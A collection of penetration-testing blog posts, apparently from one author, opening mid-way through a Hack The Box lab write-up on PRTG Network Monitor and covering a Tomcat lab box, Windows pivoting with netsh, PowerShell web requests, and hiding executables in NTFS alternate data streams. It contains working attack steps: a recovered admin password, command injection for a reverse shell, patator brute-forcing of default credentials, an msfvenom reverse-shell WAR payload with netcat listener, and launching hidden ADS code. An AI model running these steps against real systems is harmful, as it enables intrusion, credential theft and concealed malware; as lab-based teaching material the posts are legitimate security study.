| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_02-25-19 10:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

What immediately catches the eye is the ftpd which allows anonymous access on what appears to be the root directory. But before we start exploring this further, let’s have a quick look at port 80 to confirm the nmap result.

We see the PRTG bandwith monitor web app running and can also confirm the version information in the lower left:

Googling for default credentials gives us prtgadmin:prtgadmin, however, these don’t work ¯\(ツ)/¯.

Looking for exploits

Doing a searchsploit search for PRTG, we find two exploits matching the running version – one of them for Denial of Service, the other one for an authenticated Remote Code Execution:

-------------------------------------------------------------------------- -----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/)
-------------------------------------------------------------------------- -----------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | exploits/windows/webapps/46527.sh
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) | exploits/windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting | exploits/java/webapps/34108.txt
------------------------------------------------------------------------------------- ------------------------

Denial of Service is not what we want and the RCE will only work if we have valid credentials for the PRTG web interface.

Enumerating FTP

Let’s look at what the anonymous FTP access can give us, and while looking around, do another nmap -p- 10.10.10.152 to scan all TCP ports, so that we have something to come back to after the FTP enumeration.

> ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.

While we cannot write files, we seem to have pretty wide read access. So much indeed, that we can directly snatch the user.txt flag at /Users/Public/.

As we can access /Windows/System32, we can also verify the OS version (license.rtf mentions Windows 2016 – different than what nmap reported), which might be handy later on.

Having the promising RCE in PRTG Network Monitor in the back of our minds, let’s see if we can find configuration data that might give us access to the web interface.

Googling around, we quickly find How PRTG Network Monitor Stores its Data, which tells us:

Windows Server 2012 (R2), Windows Server 2016, Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Server 2008 R2: %programdata%\Paessler\PRTG Network Monitor.

… and:


PRTG Configuration.dat	Monitoring configuration (i.e. probes, groups, devices, sensors, users, maps, reports, etc.)	XML
PRTG Configuration.old	Backup of previous version of monitoring configuration	XML

So let’s have a look at these and other config files at /ProgramData/Paessler/PRTG Network Monitor.

To make the process of grepping through the files faster (as we don’t know exactly where and how PRTG Network Monitor stores files), we can actually download the whole folder: wget -m ftp://10.10.10.152/ProgramData/Paessler (about 14 MB).

Doing something like grep -r . -A1 -ie 'password' in this folder gives way too many hits, so let’s narrow down on the PRTG Configuration.old.bak first, as this isn’t a standard file and .bak files are generally interesting for findings.

grep 'PRTG Configuration.old.bak' -A2 -ie 'password' | less reveals right at the top a username and password:

<dbpassword>
 <!-- User: prtgadmin -->
 PrTg@dmin2018
</dbpassword>

Exploitation

Trying the password over at http://10.10.10.152 we still get Your login has failed. Please try again!.

Thinking of bad password habits, though, we might guess that the password could still be the same but with a changed year suffix (as this one was found in an old backup file).

prtgadmin:PrTg@dmin2019 works immediately and we are greeted by the welcome screen:

Guessing the password year increment reads easy here, but it actually had me stuck longer than it should have :-)

Having access, we can now look at the exploit we found earlier via searchsploit.

Examining it via searchsploit -x 46527 and reading a blog post of the vulnerability, we can see that it does command injection via a notification feature (by using a demo ps1 script) and through that adds a new administrative user to the machine.

As this is not the stealthiest way, let’s see if we can exploit it in a slightly different way without adding a new user.

In Setup -> Account Settings -> Notifications, we can add a new notification and enable the “Execute Program” option as described in the above blog post. There, we find the two demo scripts and the “Parameter” field which we can (ab)use to add another command of our own, right after the argument to the demo script.

At first, let’s try to do a simple ping to the attacker machine:

And on the attacker machine:

> tcpdump -i tun0 ip proto \\icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
00:33:53.801858 IP 10.10.10.152 > kali-vm1: ICMP echo request, id 1, seq 2717, length 40
00:33:53.801890 IP kali-vm1 > 10.10.10.152: ICMP echo reply, id 1, seq 2717, length 40

After clicking the “bell” icon on the right to send a test notification, the ICMP packet arrives, meaning we successfully injected the ping command.

To now get a reverse shell, we can grab a Powershell one-liner from the excellent swisskyrepo Reverse Shell Cheat Sheet, and use this instead of the ping:

All we need to do now is change the IP to our own, the port to 80 and start a netcat listener via nc -lvnp 80. Sending another “test notification” then gives us a shell. And since PRTG Network Monitor is running as System, we are as well:

Cheers!

Running commands in a specific user context in PowerShell

Sun, 08 Dec 2019 00:00:00 +0000

If you find yourself in a limited cmd shell but have obtained credentials for another user, you can leverage PowerShell’s Invoke-Command cmdlet to execute a script block in the security context of that specific user. This can be helpful in a penetration test setting or CTF.

One thing to be aware of is that you cannot just pass a user and password string to the -Credential parameter of Invoke-Command, but need to create a valid PSCredential object first.

While the Get-Credential cmdlet can give you such an object, it’s unlikely that you can get prompted given your current access. To work around this, you can create a PSCredential yourself and pass it to Invoke-Command.

A fully functional one-liner (here, just reading a file) could look like this:

powershell.exe -c "$user='WORKGROUP\John'; $pass='password123'; try { Invoke-Command -ScriptBlock { Get-Content C:\Users\John\Desktop\secret.txt } -ComputerName Server123 -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1

I like to add a try {} catch {} and a redirect from of stderr to stdout (2>&1) to be able to see errors as most limited shells wouldn’t give you the stderr output otherwise.

References:

Hack the Box Write-up #1: Jerry

Tue, 03 Dec 2019 00:00:00 +0000

A while back I signed up for hackthebox.eu, but then somehow left the account sitting idle for quite some time as I was busy with work and doing my eCPPT.

Having finished the PTP course and some free time available, I started to do some of the active machines and yesterday – after getting VIP access – also some of the “retired” boxes.

As posting write-ups for retired machines is “fair game”, I thought I’d start a blog series of walk-throughs.

Today I start with “Jerry” as an easy first box.

Enumeration

As a first step let’s scan the target with nmap. The options I include are -sV for version detection, -sC for default scripts and -oN for saving the results in nmap format. This will scan the 1000 most common ports, run scripts and perform version enumeration (we’ll se a lot more of nmap in future write-ups).

$ nmap -sV -sC -oN nmap/init 10.10.10.95

PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88

We can see from the nmap script results that there’s a tomcat instance running on port 8080.

Manually visiting http://10.10.10.95:8080, we confirm that it is indeed the default Tomcat start page.

Clicking on the “Manager App”, we quickly realize that we need some credentials, though.

A search for known vulnerabilties and exploits for this Tomcat version does not result in anything useful. So, ater trying a couple of default credentials manually, we can turn to a brute-forcing tool to test more default credentials faster. Let’s use patator this time.

An app-specific dictionary can be found in SecLists (Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt).

$ patator http_fuzz url=http://10.10.10.95:8080/manager/html user_pass=COMBO00:COMBO01 0=/usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt -x ignore:code=401 -x ignore:code=403

16:31:35 patator INFO - code size:clen time | candidate | num | mesg
16:31:35 patator INFO - -----------------------------------------------------------------------------
16:31:36 patator INFO - 200 19262:-1 0.062 | tomcat:s3cret | 73 | HTTP/1.1 200 OK
16:31:36 patator INFO - 200 19262:-1 0.061 | tomcat:s3cret | 74 | HTTP/1.1 200 OK

tomcat and s3cret it is! That was fast.

Exploitation

Using the discovered credentials, we can access the “Manager App” at http://10.10.10.95:8080/manager/html.

The app allows us to deploy our own web application as a WAR file, making it easy to get code execution on the remote system.

We could now manually create the WAR archive or use a generator. I will use msfvenom in this case and choose an unstaged java reverse tcp payload. You could also go with the regular staged meterpreter payload if you’d like a smaller payload and use all the advantages meterpreter gives you.

$ msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.19 LPORT=9090 -f war -o shell.war

After generating our shell.war, we deploy it (upload) using the “Manager App” and start a netcat listener on our machine:

nc -lvnp 9090

Opening http://10.10.10.95:8080/shell/ we can now trigger our payload and will be greeted with a shell.

Ncat: Listening on :::9090
Ncat: Listening on 0.0.0.0:9090
Ncat: Connection from 10.10.10.95.
Ncat: Connection from 10.10.10.95:49193.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

As you can see, we’re immediately SYSTEM and don’t need any more privilege escalation.

Pivoting: Setting up a port proxy with netsh on Windows

Thu, 20 Jun 2019 00:00:00 +0000

TL;DR: Pivot by setting up a portproxy between your machine and a machine in another network using netsh interface portproxy add v4tov4 listenport=<port in> connectport=<port out> connectaddress=<destination>.

Let’s say machine A has access to a Windows machine, B, which has an additional interface configured to reach machines in another (internal) network, including machine C. As our machine A cannot directly talk to machine C and vice versa, what can we do to pick up files hosted on our machine A from machine C, or do further reconnaissance of C from A?

One quick and easy way is to configure a “portproxy” on machine B, which listens on a specified port and sends incoming traffic on to machine C or A (depending on the use case). Let’s have a look on how to do that for an IPv4 to IPv4 configuration.

For this example we have:

A at 192.168.1.2
B at 192.168.1.3 and 10.10.10.3
C at 10.10.10.4

Setup on machine B

On machine B, execute the following:

netsh interface portproxy add v4tov4 listenport=1337 connectport=8000 connectaddress=192.168.1.2

Here, we are setting up a portproxy that will listen on port 1337 and send the received data to the connectaddress (A) on port 8000. This is done via a separate TCP connection, as you can observe via Wireshark.

Let’s verify the setting looks good with netsh interface portproxy show v4tov4.

Listen on IPv4: Connect to IPv4:

Address Port Address Port
--------------- ---------- --------------- ----------
* 1337 192.168.1.2 8000

Note that the portproxy config will be stored in the registry, so this is the place where you can detect persistent portproxies without using netsh.

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp

*/1337 : 192.168.1.2/8000
...

To be able to try it out, let’s poke a hole into our firewall (still on B):

netsh advfirewall firewall add rule name="Proxy all the things" dir=in action=allow protocol=TCP localport=1337

Setup on machine A for hosting

On our machine A we will now start a webserver and host a file:

python3 -m http.server 8000 in a directory with a test.txt containing Hello from A.

Fetch from machine C

On our machine C let’s write up a short download cradle to fetch and then output the file’s content from machine A:

powershell.exe -c echo (New-Object Net.WebClient).DownloadString('http://10.10.10.3:1337/test.txt')

Machine C will now reach out to B (10.10.10.3) on port 1337, which will reach out to A on port 8000 to fetch test.txt. We can see a hit from 192.168.1.3 in our Python webserver console and the results of test.txt printed on machine C.

Naturally, this also works in the other direction (A reaching C through B). Just set up the the right connectaddress and connectport.

To remove the portproxy, you can use delete v4tov4 like so:

netsh interface portproxy delete v4tov4 listenport=1337

And to remove the firewall rule again:

netsh advfirewall firewall delete rule name="Proxy all the things"

Note that you may get a deprecation warning when using netsh on modern systems. Unfortunately, I haven’t found a simple way/Cmdlet to setup a portproxy in PowerShell. Do you know how? Please let me know.

HTTP requests with PowerShell's Invoke-WebRequest – by Example

Fri, 12 Apr 2019 00:00:00 +0000

If you ever find yourself on a Windows system needing to make a HTTP request, the Invoke-WebRequest cmdlet will be your friend.

Let’s have a look on how to send various things with iwr (legit alias!) and how to get around common issues. We will be focussing on (manually) sending/requesting data, not so much on reading/parsing it.

In case it’s the first time you’re using Invoke-WebRequest or doing stuff with PowerShell in general, I recommend reading this post sequentially from top to bottom.

I will be using PowerShell 5.1 for this article. You can find your version with $PSVersionTable. As destination we will use several HTTP endpoints from httpbin.org.

A simple first request

Invoke-WebRequest http://httpbin.org/json

Staying with the defaults, this command will translate to the following request:

GET /json HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.17763.316
Host: httpbin.org

What we get back is a HtmlWebResponseObject in a nicely formatted way, displaying everything from (parts) of the body, response headers, length, etc.

Let’s store the response in a variable to be able to access the individual parts:

Accessing parts of the response

$r = Invoke-WebRequest http://httpbin.org/json

$r.StatusCode
200

$r.Headers
Key Value
--- -----
Access-Control-Allow-Credentials true
Access-Control-Allow-Origin *
Connection keep-alive
Content-Length 429
Content-Type application/json
Date Wed, 10 Apr 2019 20:33:00 GMT
Server nginx

The content can be accessed with $r.Content. If we want to see what actually came back and was being parsed, we can use $r.RawContent. And, as we can redirect outputs just like in any other shell, we could store the response like this:

$r.RawContent > C:\My\Path\to\file.txt

Setting request headers

Custom request headers can be set by passing a hash table to Invoke-WebRequest’s -Headers option. The syntax for creating a hash table is as follows:

@{ <name> = <value>; [<name> = <value> ] ...}

Let’s make a new request and add some custom headers. We’ll also start using the alias iwr from now on to safe some typing.

Tip: A list of aliases for a cmdlet can be retrieved with Get-Alias -Definition <cmdlet>, in our case Get-Alias -Definition Invoke-WebRequest.

$r = iwr http://httpbin.org/headers `
-Headers @{'Accept' = 'application/json'; 'X-My-Header' = 'Hello World'}

This will produce something like:

GET /headers HTTP/1.1
X-My-Header: Hello World
Accept: application/json
...

Note that if you want to set cookies, you should do so with Invoke-WebRequest’s -WebSession option (see below). Manually including a Cookie HTTP header will not work. The same applies, according to the docs, to the user agent, which should only be set via the -UserAgent option, not via -Headers (in practice, I had no issues setting it via -Headers, though).

Debugging request headers

Debugging the request headers can be done with a service like httpbin.org (httpbin.org/headers) or simply by sniffing the traffic (e.g. with Wireshark) while making the request. Unfortunately, I am not aware of any way inside PowerShell to retrieve the headers that were actually sent.

Sending data and setting the content type

To give our request a body, we can either use the -Body option, the -InFile option or use a pipeline. For these examples we will do a POST request, so use -Method 'POST'.

Before actually sending data, let’s talk about the content type. If you do a POST request, but neither specify a Content-Type header nor use the -ContentType option, Invoke-WebRequest will automatically set the content type to application/x-www-form-urlencoded.

More gotchas: when you do set a Content-Type header via -Headers, say application/json; charset=utf8 and then pipe a utf8 file to iwr like so…

$r = Get-Content test.txt -ReadCount 0 | `
iwr http://httpbin.org/post `
 -Method 'POST' `
 -Headers @{'Content-Type' = 'application/json; charset=utf-8'}

… you may not actually send what you expect, as iwr will not read the piped data as utf8.

Depending on the encoding, you may send something like this:

{ "umlauts": "äüö" }

As something like this (ISO-8859-1):

7b 20 22 75 6d 6c 61 75 74 73 22 3a 20 22 e4 fc f6 22 20 7d

Instead of like this (UTF-8):

7b 20 22 75 6d 6c 61 75 74 73 22 3a 20 22 c3 a4 c3 bc c3 b6 22 20 7d

To be on the safe side, make sure to either use the -InFile option (and specify the -Headers) and/or use a pipeline, but set the -ContentType option (instead of the Content-Type header in the -Headers) the Invoke-WebRequest cmdlet provides:

$r = Get-Content test.txt -ReadCount 0 | `
iwr http://httpbin.org/post `
-Method 'POST' `
-ContentType 'application/json; charset=utf-8'

… will properly send the UTF-8 data.

Using -Body

If you want to build your body manually in the command, you can use the -Body option:

iwr http://httpbin.org/post `
-Method 'POST' `
-ContentType 'application/json; charset=utf-8' `
-Body '{"hello": "world"}'

For posting form data, you can use a hash table (going with the default application/x-www-form-urlencoded here):

iwr http://httpbin.org/post `
-Method 'POST' `
-Body @{ 'hello' = 'world'}

Sending Cookies, building sessions

When having multiple interactions with an endpoint, you might want to use a session object, for example to capture/send cookies. The Invoke-WebRequest cmdlet provides the option -SessionVariable, which you can give a target variable name to be used later for subsequent requests with the -WebSession option. Since we’re focussing on just manually sending data, let’s rather see, how we can manually create a .NET CookieContainer, add a cookie, and then pass the whole thing to iwr:

$s = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$c = New-Object System.Net.Cookie('Hello','World','/','httpbin.org')
$s.Cookies.Add($c)

$r = iwr 'http://httpbin.org/cookies' -WebSession $s

This basically just translates to a Cookie: Hello=World header.

The arguments to .Net.Cookie are referenced here at the MS docs; in short, we’re using Name, Value, Path, Domain. Inspect $c to see other attributes to set (like http only, secure, expiry, etc.)

Authentication

Let’s look at three ways to authenticate against a web service: using basic auth, using client certificates and using Windows authentication via NTLM or Kerberos.

Using Basic Auth

In this case we will not wait for a server challenge, but build the Authorization header ourselves (don’t do this with sensitive creds as they will go right into your history file!):

$creds = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('AzureDiamond:hunter2'))
iwr 'http://httpbin.org/basic-auth/AzureDiamond/hunter2' -Headers @{ 'Authorization' = 'Basic ' + $creds }

If you want to use your Windows user’s credentials for the request, you can just use the -Credential option, as in -Credential domain\you. In this case, there’s no need for you to create the Authorization header yourself. Not though, that this will make two requests; one that the server will answer with a 401, and another one with your credentials.

Using a client certificate

Using a client-certificate-based authentication is easiest when you access the certificate directly from the Windows cert store. Make sure to have your client certificate and private key installed, then use the -CertificateThumbprint option to pass the thumbprint of the cert you want to use. For example:

Get-ChildItem Cert:\CurrentUser\My # Check installed certs

Thumbprint Subject
---------- -------
28D8AB79A7976FEED36D1DF0B9AC3D3F36B7C4DF CN=BadSSL Client Certificate, O=BadSSL, L=San Francisco, S=California, C=US

$r = iwr 'https://client.badssl.com' -CertificateThumbprint 28D8AB79A7976FEED36D1DF0B9AC3D3F36B7C4DF

Using Windows authentication / HTTP Negotiate

You can also instruct iwr to use the domain credentials of the current user (for example for an intranet service). This is helpful if you want to send requests to an endpoint that wants you to connect via a Windows Authentication provider like NTLM or Kerberos.

Just adding -DefaultCredentials to your iwr will handle the negotiation for you:

iwr http://my-domain.local -UseDefaultCredentials

iwr will make an unauthenticated request which will result in a 401 error, then make another request (or more) for the NTLMSSP (NTLM Secure Service Provider) or SPNEGO (Simple Protected Negotiation) negotiation.

Note that -DefaultCredentials will not work for Basic Auth!

Catching exceptions

Combining all the options from above can lead to errors, so let’s see how we can catch these exceptions.

Something like the following will give an error (invalid option to iwr):

$r = iwr http://httpbin.org/get -SomethingInvalid

However, this will also give an error (syntactically correct command, but server returns a 404):

$r = iwr http://httpbin.org/doesnt-exist

You can catch all kinds of exceptions by wrapping the request into a try-catch block:

try {
 $r = iwr http://httpbin.org/doesnt-exist
} catch {
 $r = $_.Exception
}

This will catch all exceptions. If you want to handle certain exceptions differently, use multiple catch statements.

We can access the exception though the pipeline variable $_. The server response object (obviously only if it is a WebException and not something like a Command exception, ParameterBindException, etc.) can then be accessed via $r.Response.

More information

There are naturally many more options, more scenarios and the whole topic about response parsing I didn’t mention here. Have a look at the official docs for a first overview, then start tinkering.

Have fun!

Hidden in plain sight: Alternate Data Streams

Sat, 23 Feb 2019 00:00:00 +0000

Have you ever wondered how a file in a file listing is shown with size 0 bytes but can still contain data? Or maybe wondered where all that meta data is stored, how malware can infect files or just how you can “hide” stuff in a file?

Let’s talk about Alternate Data Streams to learn more.

ADS - Alternate Data Streams

When you hear “Alternate Data Streams” you may think about resource forks in Mac OS HFS. But we’re talking about Windows and NTFS. Back in the days of Windows NT 3.1 (ha!), NTFS streams were actually implemented to support the Mac resource forks.

Let’s fire up a cmd prompt and start with a practical example:

> echo Hello World! > hello.txt:hidden
> dir

02/23/2019 12:56 AM 0 hello.txt

As you can see, we redirected our echo to the file, but specified another name after the colon. This is the name of the stream, which now contains our “Hello World!”. Note, though, that our created file is still being displayed as having a file size of 0 bytes.

Seeing the streams

What we just did, was to write data to a data stream other than the original data stream, a.k.a. the file itself.

We could go on and add another stream like this: echo more stuff > hello.txt:mystream.

After creating our streams, how do we actually look at them?

We can (on Win >= 8) use the Get-Item and Get-Content Cmdlets in Powershell:

> Get-Item -path .\hello.txt -stream *
Stream Length
------ ------
:$DATA 0
hidden 13
mystream 9

The above command will show us the streams we’ve created, plus the default one, also called unnamed data stream. When looking at the sizes/lengths, we can also see that the unnamed stream is still only 0 bytes (which can make it hard for users to detect disk usage in case of the presence of some large alternate data streams).

$DATA is actually the stream type. So our unnamed default stream is literally just an unnamed stream, while our “hidden” stream would be an alternate stream with a name, which could also be written like hidden:$DATA.

Fun fact: if we were to create a hash of our hello.txt file (Get-FileHash hello.txt), then added data to an ADS, the hash would not change.

Getting the contents out

To get the content out again, we can use the Get-Content cmdlet:

> Get-Content -path .\hello.txt -stream hidden
Hello World!

What’s so interesting?

So what’s so interesting about the alternate data streams, being old and not very much used?

Well, besides storing simple text strings, we can also store executable code in a stream. The fact that it doesn’t show in the file size, won’t change the hash, doesn’t come up in explorer / in the UI and that ADS can’t be disabled, makes it an ideal hiding place for malicious software (and it has indeed been used by malware in the past).

Nowadays, AV software usually scans these alternate data streams too (just try it out).

Storing an executable in an ADS

Let’s see how it can be done by storing the calc.exe in an ADS called exestream of our hello.txt. We will use the Set-Content Cmdlet and explicitly specify byte encoding and a readcount of 0, to read the file in one read operation. The Get-Command is only used to not type out the path.

> Set-Content -path .\hello.txt -value $(Get-Content $(Get-Command calc.exe).Path -readcount 0 -encoding byte) -encoding byte -stream exestream

If you have some known malware on your system and store it in an ADS, you will notice that it is detected nonetheless. Well, let’s hope so :-).

Launching the hidden code

Now that we have a binary in our exestream, we can launch it, e.g., via wmic (Windows Management Instrumentation). I use Resolve-Path, again, only not to type out the full path.

> wmic process call create $(Resolve-Path .\hello.txt:exestream)

If it works, you should see the calculator pop up.

Finding alternate data streams

Now that we know what a data stream is and what we can do with it, let’s see how we can list all the files in and below a directory that actually have alternate data streams (and maybe check that everything is in order).

> Get-ChildItem -recurse | ForEach { Get-Item $_.FullName -stream * } | Where stream -ne ':$DATA'

Note: one of the more common ADS that you will find is Zone.identifier. These are usually for files that were downloaded and might be used to indicate this fact to the user; see info at the Microsoft docs.

Have fun playing around with Alternate Data Streams!

Running a script in the Windows Local System account

Fri, 17 Aug 2018 00:00:00 +0000

Today I needed to debug a scheduled script and test its behavior when run in the Windows Local System account instead of my regular domain user’s (this was on Windows Server 2016 but should work the same in (much) older versions).

I did a bit of research and found a tool from the PsTools suite on sysinternals called PsExec. It is mainly for executing programs on remote machines and gives you the ability to launch interactive command prompts. Good stuff, even though we only need a tiny portion of its capabilities.

Let’s do it!

Let’s download the tool (2.7 MB zip file, the whole PsTools suite), extract it and then open an elevated cmd prompt.

Navigating to the extraction location of the suite, we can now run:

psexec -i -s cmd.exe

This will give us another cmd prompt, but this time in the context of the Local System. To verify, we run whoami in this prompt and should now see nt authority\system. ✊

Breaking down the options

We don’t specify a remote (as in psexec \\remote) as we want to run it locally. -i will let us run the process (cmd) interactively, and -s stands for the System account. If you like, you can add the -d option to not wait for the process to terminate (without it, the process in the initial prompt will continue until you exit the “remote” one).

To learn more about the options of PsExec, check out this page in the Microsoft docs: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec.